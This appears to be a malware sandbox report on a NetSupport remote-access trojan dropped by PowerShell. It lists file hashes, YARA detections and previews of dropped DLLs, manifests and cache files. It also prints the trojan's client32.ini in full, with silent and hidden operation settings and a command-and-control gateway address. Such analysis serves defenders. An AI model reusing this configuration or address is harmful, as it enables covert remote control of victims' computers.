SHA-512:	2E6F673864A54B1DCAD9532EF9B18A9C45C0844F1F53E699FADE2F41E43FA5CBC9B8E45E6F37B95F84CF6935A96FBA2950EE3E0E9542809FD288FEFBA34DDD6A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\KYED2\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Joe Sandbox View:	Filename: updates.js, Detection: malicious, Browse Filename: Update 124.0.6367.158.js, Detection: malicious, Browse Filename: Update_124.0.6367.158.js, Detection: malicious, Browse Filename: MDE_File_Sample_c035ea05c53efc10b65ede03b5550188cbb2e484.zip, Detection: malicious, Browse Filename: update.js, Detection: malicious, Browse Filename: Update_122.0.616.js, Detection: malicious, Browse Filename: BILL93607.js, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: update.js, Detection: malicious, Browse Filename: BILL47189.js, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......._....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\KYED2\NSM.LIC

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.924914741174998
Encrypted:	false
SSDEEP:	6:O/oPITDKHMoEEjLgpVUK+Odfu2M0M+ZYpPM/iotqO2La8l6i7s:XAyJjjqVUKHdW2MdRPM/iotq08l6J
MD5:	E9609072DE9C29DC1963BE208948BA44
SHA1:	03BBE27D0D1BA651FF43363587D3D6D2E170060F
SHA-256:	DC6A52AD6D637EB407CC060E98DFEEDCCA1167E7F62688FB1C18580DD1D05747
SHA-512:	F0E26AA63B0C7F1B31074B9D6EEF88D0CFBC467F86B12205CB539A45B0352E77CE2F99F29BAEAB58960A197714E72289744143BA17975699D058FE75D978DFD0
Malicious:	true
Preview:	1200..0x3ca968c5....[[Enforce]]....[_License]..control_only=0..expiry=01/01/2028..inactive=0..licensee=XMLCTL..maxslaves=9999..os2=1..product=10..serial_no=NSM303008..shrink_wrap=0..transport=0..

C:\Users\user\AppData\Roaming\KYED2\NSM.ini

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Generic INItialization configuration [Features]
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\Users\user\AppData\Roaming\KYED2\PCICHEK.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.292094060787929
Encrypted:	false
SSDEEP:	192:dogL7bo2t6n76RRHirmH/L7jtd3hfwjKd3hfwB7bjuZRvI:dogL7bo2YrmRTAKT0iTI
MD5:	104B30FEF04433A2D2FD1D5F99F179FE
SHA1:	ECB08E224A2F2772D1E53675BEDC4B2C50485A41
SHA-256:	956B9FA960F913CCE3137089C601F3C64CC24C54614B02BBA62ABB9610A985DD
SHA-512:	5EFCAA8C58813C3A0A6026CD7F3B34AD4FB043FD2D458DB2E914429BE2B819F1AC74E2D35E4439601CF0CB50FCDCAFDCF868DA328EAAEEC15B0A4A6B8B2C218F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\KYED2\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: updates.js, Detection: malicious, Browse Filename: Update 124.0.6367.158.js, Detection: malicious, Browse Filename: Update_124.0.6367.158.js, Detection: malicious, Browse Filename: MDE_File_Sample_c035ea05c53efc10b65ede03b5550188cbb2e484.zip, Detection: malicious, Browse Filename: update.js, Detection: malicious, Browse Filename: Update_122.0.616.js, Detection: malicious, Browse Filename: BILL93607.js, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: update.js, Detection: malicious, Browse Filename: BILL47189.js, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Yu....i...i...i.......i..Z...i.......i......i......i..l....i...h.~.i......i......i......i.......i.Rich..i.................PE..L....A.W...........!......................... ...............................`.......U....@.........................@#..r...h!..P....@............... ..x)...P......P ............................... ..@............ ..D............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\KYED2\PCICL32.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3740024
Entropy (8bit):	6.527276298837004
Encrypted:	false
SSDEEP:	49152:0KJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSpTAyFMJa:0KJ/zIPq7F4fmXO8u6kS+y/
MD5:	D3D39180E85700F72AAAE25E40C125FF
SHA1:	F3404EF6322F5C6E7862B507D05B8F4B7F1C7D15
SHA-256:	38684ADB2183BF320EB308A96CDBDE8D1D56740166C3E2596161F42A40FA32D5
SHA-512:	471AC150E93A182D135E5483D6B1492F08A49F5CCAB420732B87210F2188BE1577CEAAEE4CE162A7ACCEFF5C17CDD08DC51B1904228275F6BBDE18022EC79D2F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\KYED2\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\KYED2\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 6%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J.>N+.mN+.mN+.m.eAmL+.mU.Gmd+.m!]rmF+.mU.EmJ+.mGSZmA+.mGS]mO+.mGSJmi+.mN+.m.(.mU.rm.+.mU.sm.+.mU.BmO+.mU.CmO+.mU.DmO+.mRichN+.m........................PE..L......X...........!.....(...$ .............@................................9.....Y.9.............................p................p................8.x)...`7.p....Q.......................c......@c..@............@..(.......`....................text...l'.......(.................. ..`.rdata..s....@.......,..............@..@.data....%... ......................@....tls.........P......................@....hhshare.....`......................@....rsrc........p......................@..@.reloc...3...`7..4....6.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\KYED2\TCCTL32.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.80911343409989
Encrypted:	false
SSDEEP:	12288:HqArkLoM/5iec2yxvUh3ho2LDnOQQ1k3+h9APjbom/n6:ekuK2XOjksobom/n6
MD5:	2C88D947A5794CF995D2F465F1CB9D10
SHA1:	C0FF9EA43771D712FE1878DBB6B9D7A201759389
SHA-256:	2B92EA2A7D2BE8D64C84EA71614D0007C12D6075756313D61DDC40E4C4DD910E
SHA-512:	E55679FF66DED375A422A35D0F92B3AC825674894AE210DBEF3642E4FC232C73114077E84EAE45C6E99A60EF4811F4A900B680C3BF69214959FA152A3DFBE542
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\KYED2\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 6%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L....8.W...........!................'................................................P....@.............................o...D...x....0..@...............x)...@..\E..................................Pd..@...............h............................text............................... ..`.rdata..............................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc...F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\KYED2\beta.identity_helper.exe.manifest

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1447
Entropy (8bit):	5.302827444337103
Encrypted:	false
SSDEEP:	24:2dt4uiNK+bIgMy5PYMPgiE/M7cJ3Zb2WF+HZ6iYzDfDJ6:cSVK+bIgMyRYSzIlz+HZ6XDfDJ6
MD5:	FFCF52AB3F76D8FB8E0C0ECA5F858F01
SHA1:	5EC475C9A55DA6684372373D6DFC5D13B3DE48CF
SHA-256:	8B6F3769FC0367421E2748C9775BBF16645B502621A8AEEF4974C58BFA067864
SHA-512:	0E64B1E26130E5A854BB3E321D529957CEE47BEC99D4A0E3A80FCF268661FD5F9DC96E2386FE3EE29654524D03CA900CC7A7CD2499742EB01711AA66DC2A03CB
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <dependency>.. <dependentAssembly>.. <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="" publicKeyToken="6595b64144ccf1df" language=""></assemblyIdentity>.. </dependentAssembly>.. </dependency>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">.. <security>.. <requestedPrivileges>.. <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>.. </requestedPrivileges>.. </security>.. </trustInfo>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">.. <application>.. <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS>.. <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS>.. <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS>.. <s

C:\Users\user\AppData\Roaming\KYED2\canary.identity_helper.exe.manifest

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1449
Entropy (8bit):	5.301233817215268
Encrypted:	false
SSDEEP:	24:2dt4uiNK+bIgMy5PYMPgiE/M7cJ3Zb2WF+HZ6IYzDfDJ6:cSVK+bIgMyRYSzIlz+HZ6RDfDJ6
MD5:	2D041BBA4B97878C148A123B30A13538
SHA1:	662846D9E12C8C2A22FF08FB69A2C8F399E863B4
SHA-256:	752501569CC4654AB70553D4B5DF8BB24F7D234392085CE4E5CB3B53015278F7
SHA-512:	9E3B4532BCDE4CC969274FADDE32E597FFB92CD03961CAEDA87F0F77AB7B08523BFEC0EA7CF633740835A9EF0A1D8D2C0AB7A796A70F228DD70BADB4BA2040B5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <dependency>.. <dependentAssembly>.. <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="" publicKeyToken="6595b64144ccf1df" language=""></assemblyIdentity>.. </dependentAssembly>.. </dependency>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">.. <security>.. <requestedPrivileges>.. <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>.. </requestedPrivileges>.. </security>.. </trustInfo>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">.. <application>.. <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS>.. <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS>.. <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS>.. <s

C:\Users\user\AppData\Roaming\KYED2\client32.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	103824
Entropy (8bit):	6.674952714045651
Encrypted:	false
SSDEEP:	768:q78j0+RH6e6XhBBxUcnRWIDDDDDDDDDDDDDDDDADDDDDDDDDDDDDDDDDDDDDDXDU:qwpHLiLniepfxP91/bQxnu
MD5:	C4F1B50E3111D29774F7525039FF7086
SHA1:	57539C95CBA0986EC8DF0FCDEA433E7C71B724C6
SHA-256:	18DF68D1581C11130C139FA52ABB74DFD098A9AF698A250645D6A4A65EFCBF2D
SHA-512:	005DB65CEDAACCC85525FB3CDAB090054BB0BB9CC8C37F8210EC060F490C64945A682B5DD5D00A68AC2B8C58894B6E7D938ACAA1130C1CC5667E206D38B942C5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L....iMR.....................v...... ........ ....@.................................<h....@.................................< ..<....0...q...........\|.............. ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....q...0...r..................@..@.reloc..l............z..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\KYED2\client32.ini

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	671
Entropy (8bit):	5.4560190834919675
Encrypted:	false
SSDEEP:	12:dxS2hz7YU+Sj8qGShR8kkivlnxOZ7+DP981E7GXXfDWQCYnmSuObANTEa:dI2hzEPI8qNR8pivlnxOoG1fXXfD/DbK
MD5:	C94845BB509056E66EE5767759C9E5BD
SHA1:	C1B6E003CF0AB1F236375FAEBE8707D519FD8A3D
SHA-256:	B2CAADB660455F1AAF3737B93879E35D05602BE1FDF2531602FD61E006E8C80A
SHA-512:	6C3750804763221BC72031C051EB9AE67874FFAE7795F96435EF577FF3F7E84F5A42C9715EBBDE53B1BD9E9AD5B7E59A691AB36DF2267A5A5FC2C84F032D1E86
Malicious:	false
Preview:	0x451906b9....[Client].._present=1..AlwaysOnTop=1..DisableChat=1..DisableChatMenu=1..DisableClientConnect=1..DisableCloseApps=0..DisableDisconnect=1..DisableManageServices=0..DisableReplayMenu=1..DisableRequestHelp=0..HideWhenIdle=1..Protocols=3..RADIUSSecret=dgAAAPpMkI7ke494fKEQRUoablcA..RoomSpec=Eval..silent=1..SKMode=1..SysTray=0..UnloadMirrorOnDisconnect=1..Usernames=*....[_Info]..Filename=C:\Program Files (x86)\NetSupport\NetSupport Manager\client32u.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[General]..BeepUsingSpeaker=0....[HTTP]..GatewayAddress=94.158.245.103:443..gskmode=0..GSK=EK:I?GBHEM:H?LDK9M>DCAGB..GSKX=EIHJ=HBKHH;L>GCIFI;H>MCP..

C:\Users\user\AppData\Roaming\KYED2\install\02a7244d2ed058ed_0

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2782
Entropy (8bit):	4.538016463532462
Encrypted:	false
SSDEEP:	48:ckpq47ATv44QzutlPoP3hNG89NN7nX08m9/Ld//qnQu+ujYl2hoCqplNEKNugMR3:JZMjvlQlbX0SQkYshoCsDZNuTl
MD5:	E0BE862E27B5A94DF107FC1AA696F8AA
SHA1:	5AC5273C63E6A9CEB9C89FF20D7C55E95817D64E
SHA-256:	BE034EA1F3976AB87F830EB1D4FB916DDF1DB6EA6C8C9F9D75DC71C3F0A5CAF0
SHA-512:	984070BB123C3C074AC6717B016568455BE56F0AF4700421B886AF50CA8D7F08647F7D0EB2FC7E7BB2240473271F55EC83AF6EECB3869822C80C8E5E00F15C2E
Malicious:	false
Preview:	0\r..m......b....]......https://brontp.yandex.ru/static/media/components/ntp_animated_icon/images/lightning-25a0e3f5d0.svg<svg viewBox="0 0 96 96" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><clipPath id="a"><path d="m0 0h96v96h-96z"/></clipPath><g clip-path="url(#a)"><path d="m-4.94099998-27.87000084c-.6960001-.26599884-1.46799994-.25-2.15199996.04500008-.68400001.29600143-1.2249999.84800148-1.50799989 1.53700065 0 0-7.3920002 28.72600007-7.3920002 28.72600007-.11400032.26999998-.17000008.56200004-.16600037.85500002.00399971.29399991.06900025.58299995.19000054.85000015.12199974.26699972.29699993.50699997.51499939.70300006.21900081.19700003.47500038.34699965.75400066.43899966 0 0 9.46000004 3.30200004 9.46000004 3.30200004.80899954.27999974 1.17999983 1.11299992.86799955 1.87100029 0 0-6.24599981 15.09899903-6.24599981 15.09899903-.51099968 1.4110012 1.26900005 2.57800102 2.35200024 1.52200126 0 0 23.96500015-21.47800064 23.96500015-21.47800064.1759996

C:\Users\user\AppData\Roaming\KYED2\install\1a7d70470ec607c8_0

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	5.206615080511159
Encrypted:	false
SSDEEP:	24:RfU/duJjhToV3kmK3ZhCKQ+kbFXQ/aNFCK9ygHEun:6/ohToVUNjmbFXl8gke
MD5:	72E1ABE9304DE8ED9E9C887DB9C203F0
SHA1:	D6002A81AE998A398F1B1557EAC9890CAB90DB0F
SHA-256:	D2DBB19CEE47D25097DB6E0CA61BA9615D6B026B9A1E55236EA5B0F60260B11F
SHA-512:	858133F725C4374A9DF91366778EB41150F7E04FE1A1BD7253674F532763411BE95EBF525B3F331D7FA4155A1831FA0A296EB817F8817623EB5AFA9F82B5DA1F
Malicious:	false
Preview:	0\r..m......\...........https://brontp.yandex.ru/static/media/components/ntp_smartbox/images/external-4da10df0da.svg<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">..<path d="M8 5C6.34315 5 5 6.34315 5 8V16C5 17.6569 6.34315 19 8 19H16C17.6569 19 19 17.6569 19 16V14.5778C19 14.0255 19.4477 13.5778 20 13.5778C20.5523 13.5778 21 14.0255 21 14.5778V16C21 18.7614 18.7614 21 16 21H8C5.23858 21 3 18.7614 3 16V8C3 5.23858 5.23858 3 8 3H9.42222C9.97451 3 10.4222 3.44772 10.4222 4C10.4222 4.55228 9.97451 5 9.42222 5H8Z" fill="black"/>..<path d="M13 4C13 3.44772 13.4477 3 14 3H20.1162C20.6734 3 21.125 3.45166 21.125 4.00875V10.125C21.125 10.6773 20.6773 11.125 20.125 11.125C19.5727 11.125 19.125 10.6773 19.125 10.125V6.28921L12.7071 12.7071C12.3166 13.0976 11.6834 13.0976 11.2929 12.7071C10.9024 12.3166 10.9024 11.6834 11.2929 11.2929L17.5858 5H14C13.4477 5 13 4.55228 13 4Z" fill="black"/>..</svg>...A..Eo.........%A.......L.......................*..

C:\Users\user\AppData\Roaming\KYED2\install\24.4.4.1168.manifest

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	223
Entropy (8bit):	4.890881912092366
Encrypted:	false
SSDEEP:	6:KdhlRu9TbX+A8/5RFYpXjyKF/kERyKF/X0CdiYCIyiA1G:KLuVA5cpmKe4yKt07vIy/G
MD5:	2BC6A1BED7998C7257D29529A30ABEF8
SHA1:	D2D61A45E9283F2FD6F491D06F683F391AF4319B
SHA-256:	570E26E2E0C74A1550AF9D91B0AB11C2AC65EEF172C9AE62626A6B7A20F6CE99
SHA-512:	CAF0C628974B5CAF2B3F819FF741BFD9B13D16049106F90C3F4E2D701C1816A4B5B456B9D596656E09C95D276DCC117719109E0ADED1E23B214E25954D7A8B45
Malicious:	false
Preview:	<assembly.. xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>.. <assemblyIdentity.. name='24.4.4.1168'.. version='24.4.4.1168'.. type='win32'/>.. <file name='browser_elf.dll'/>..</assembly>..

C:\Users\user\AppData\Roaming\KYED2\install\24.6.0.1874.manifest

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	223
Entropy (8bit):	4.927943178937615
Encrypted:	false
SSDEEP:	6:KdhlRu9TbX+A8/5RFYpXhWekETWeX0CdiYCIyiA1G:KLuVA5cpxWRLa07vIy/G
MD5:	6633D1B6189F62F16CF0E1C185CACA31
SHA1:	3A494DF42CF9B5AFB52A4C6EB14AC6548A643DFA
SHA-256:	27B3966207735D3B1D0D4C04BC2A80E320137A8BE100D0B8E28A24CDB3DFF1A9
SHA-512:	01F62EE74058FD14B90612C3E757F23E0BD1AA731B3717BDBF9CC1B08357F1485863DE2DCA81ED2333DA19E34AE44D3688CC4B0C3BB739C9444659F5E88B515F
Malicious:	false
Preview:	<assembly.. xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>.. <assemblyIdentity.. name='24.6.0.1874'.. version='24.6.0.1874'.. type='win32'/>.. <file name='browser_elf.dll'/>..</assembly>..

C:\Users\user\AppData\Roaming\KYED2\install\2a9877b782e7616c_0

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	43663
Entropy (8bit):	7.9934235658479285
Encrypted:	true
SSDEEP:	768:RSfmGe+DIGpLQRDB52wdpZi1YUTuZN5t4pYjsxsUr27KlvuMPDOyGc21T6WW:R8mGe+DHpQn524pUYUTuZ/WYjsxPrzuE
MD5:	39846803AC3F83839365CE751D1870E7
SHA1:	1EAC7E342AE8A1CBB09E01C2F2E658B06F45458D
SHA-256:	35A82E2E896AB0129A3A01ABA72F20AF0A5D09DC351C6D0250CD849C15DC090C
SHA-512:	063DD219C835A58206254301A7AC896580EFDB6F762E0F1D81A9EBB56A19EB1BB842F87D1E233CA42D712F30881D9657C98EDC3A1B0CB351AC986CB29444647D
Malicious:	false
Preview:	0\r..m......S......W....https://brontp.yandex.ru/static/media/fonts/YandexSansText-Regular-b274e950c7.woff2wOF2...................$.........................j...d..>.`...v..s.....D..S..J..6.$.... .....E..8[..q....vH.......&......[H......x.n)....d.....IE.L:H.m..#..!K.)89..d{8..K. .E....K_...m.j+y.. ^:.....UN.(.T.{..$.x.k_W.(......Wf']\.a...0C/.g...W..R."Y...3.8....M..>.U.\|.z.QMi4.(_..lh....+'8d)..oO.]...k,o.g.w.A.$r..p.i..q.oAY...m.~.....TK...jj.y....PG\..,.`}@.#,w..K`...."...-.../O..c..3..F...\|..++9?....o..@$r.&0...`.#Ji+..1..U.....@.2..`.%...6XX..../...s...SO.9......+.Q.~...?.Z...`.. ....."!..R.y%]..sJ{Nq.r.W....r.C%W?..~.Tt...?.)..O..8B1..{....@@A`lcU.....X...u...+F.D.Ra$X.U...................M....O.{.....Us..O...;.%08/.1........o..b@.C.....$...>l...O7........dW.?J#Q.f..CT.%..s......C....".w.X.M..v-......zp=.r.ey.dd%YIF.$.I.'..u.x....al..'...l..?....I..k.%:..B.#....Q\.U[/./.U..D...@......=p...5w... ...%.b5.I.F.-.R..G.....?.....g..."Ze

C:\Users\user\AppData\Roaming\KYED2\install\StartVoiceCapture.wav

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
Category:	dropped
Size (bytes):	64852
Entropy (8bit):	6.190419560630641
Encrypted:	false
SSDEEP:	1536:rFVQkkvDaCMsXW1gXyT4aczfrLgcTPkU7H1wtmL/:8k3C17XysrTgIPbGkD
MD5:	9C081028ED5610F5428F579BD080EB8C
SHA1:	1C388A37715A6662F0027FAAE864B22AE5222193
SHA-256:	4F007CE7BC6C3DF2931862AD0AE04A656DDA7BD06CAA6BF222EA59C466ED7D7F
SHA-512:	E8F7FD443832B0B39A29653B7A42D9FB01D30AEB7FDCC140CE4B1CE62752CB41708D3580B418D327BCB943D6C47C85491380993E1803E1387FAAE07C2032C3E4
Malicious:	false
Preview:	RIFFL...WAVEfmt ........D...........LIST8...INFOICRD....-------------------------------------------.data................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\KYED2\install\browser.VisualElementsManifest.xml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	585
Entropy (8bit):	5.209965689353462
Encrypted:	false
SSDEEP:	12:ebvyWW/meZeK1WZeK1WJWmK1WJJd0wkjJFcyXeQbK1Ws0WKN:ebvyWW/meZ1WvWJWdWJJd+UyOtWVWg
MD5:	452F6C49C49E0DFD6F2889051BE44CAD
SHA1:	BF7EF560EC8B9BCCACD9ABF1D738D8C932C0385B
SHA-256:	1F5796532069AF1A770B29646A067D4BDFBDD297094FFF815BBBBEC7565CB937
SHA-512:	45741A8B7A0EF0C6DF67F1E3A2647936E5B2C40DC6330B2F6A442A9191F2FBEE28CF43DFF7CCFCF58FF50B8134FE1867FC361BDB7DB2FFC94D183E89067EA504
Malicious:	false
Preview:	<Application xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>.. <VisualElements.. ShowNameOnSquare150x150Logo='on'.. Square150x150Logo='24.4.4.1168\VisualElements\Logo.png'.. Square70x70Logo='24.4.4.1168\VisualElements\SmallLogo.png'.. Square44x44Logo='24.4.4.1168\VisualElements\SmallLogo.png'.. ForegroundText='light'.. BackgroundColor='#5f6368'>.. <DefaultTile.. ShortName='Yandex'.. ShowName='allLogos'/>.. <SplashScreen.. Image='24.4.4.1168\VisualElements\splash-620x300.png'/>.. </VisualElements>..</Application>..

C:\Users\user\AppData\Roaming\KYED2\install\camera_mf_trace.wprp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	5.246760185320695
Encrypted:	false
SSDEEP:	384:PlBJHEA29f27X0JS4zuPxpO8psP+E7v6xKL:P9b29f27kJSAuPxpO6sP+E7yxKL
MD5:	8028AB84D61FC5E00FEEA816E1D1E293
SHA1:	73F6340BE4C6B5AF09673DACDF1AAB7405B966AA
SHA-256:	3F2EB6455F54365C27829F85DD64CA0BAFAA8577A6C8E79A54A6DD4C67DF6470
SHA-512:	276DF846F72F2B410852F0709F3EFFD853C3B012E94A6A3DFFB364F9597D4CCFE453B6533CE7A67C9DCE5B829C0F96E9838A267269687213D996B60591C586F0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8" standalone="yes"?>..<WindowsPerformanceRecorder Version="1.0" Author="Microsoft Corporation" Comments="MF tracing profile" Company="Microsoft Corporation" Copyright="Microsoft Corporation" Tag="MFTrace">.. <Profiles>.. <EventCollector Id="EventCollector_Camera_MF_Trace" Name="MFTrace Event Collector">.. <BufferSize Value="1024" />.. <Buffers Value="3" PercentageOfTotalMemory="true" MaximumBufferSpace="192" />.. </EventCollector>.. <EventProvider Id="AuthUX_1" Name="3ec987dd-90e6-5877-ccb7-f27cdf6a976b" />.. <EventProvider Id="AuthUX_2" Name="41ad72c3-469e-5fcf-cacf-e3d278856c08" />.. <EventProvider Id="AuthUX_3" Name="4f7c073a-65bf-5045-7651-cc53bb272db5" />.. <EventProvider Id="AuthUX_4" Name="a6c5c84d-c025-5997-0d82-e608d1abbbee" />.. <EventProvider Id="AuthUX_5" Name="c0ac3923-5cb1-5e37-ef8f-ce84d60f1c74" />.. <EventProvider Id="AuthUX_6" Name="df350158-0f8f-555d-7e4f-f1151ed14299" />.. <EventProvider Id="Aut

